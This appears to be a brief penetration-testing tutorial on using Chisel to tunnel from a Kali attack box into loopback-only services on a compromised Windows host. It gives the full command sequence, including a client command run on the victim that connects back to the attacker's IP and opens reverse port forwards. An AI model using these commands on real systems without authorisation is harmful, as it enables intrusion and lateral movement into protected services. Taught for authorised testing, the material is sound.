Tips & Tricks

Tunneling Through Windows Machines with Chisel

Chisel is an application that makes port forwarding simple when you’re going against a Windows host. This is especially useful in instances where there is a service running and only available on the loopback interface of a compromised Windows computer. Using Chisel in a setup like this will allow you to use any tools you have installed on Kali Linux, through the tunnel, against the loopback interface of the Windows machine.


To download Chisel, head over to the following Github page:
https://github.com/jpillora/chisel/releases/tag/v1.7.3

You’ll need to download a version for Linux to use from Kali, and another version for Windows to use on the target system.

Next, you’ll want to unzip the files.
gunzip -d *.gz

Then you’ll want to transfer the Windows version of the file to your target system using whatever method you’d like. For help with this, see my Windows File Transfer Cheatsheet.

Back on our Kali machine, we’ll make the application executable. Note: Your filename may be different than mine.
chmod +x chisel

Now we’ll start up Chisel in server mode, since we want the Windows box to connect back to us.
./chisel server --reverse --port 9002

Then on the Windows machine, you’ll run a command similar to the one below. The following command will instruct Chisel to connect back to the Kali machine on port 9002. Once connected, we’ll forward any traffic sent to port localhost port 3306 to port 3306 on the Windows machine. The 2nd entry does the same thing, but for port 8888.
.\chisel.exe client <kaliIP>:9002 R:3306:localhost:3306 R:8888:localhost:8888

Now we can confirm that we’re able to connect to port 3306 of the Windows machine, through the tunnel, from the Kali machine.
nc localhost 3306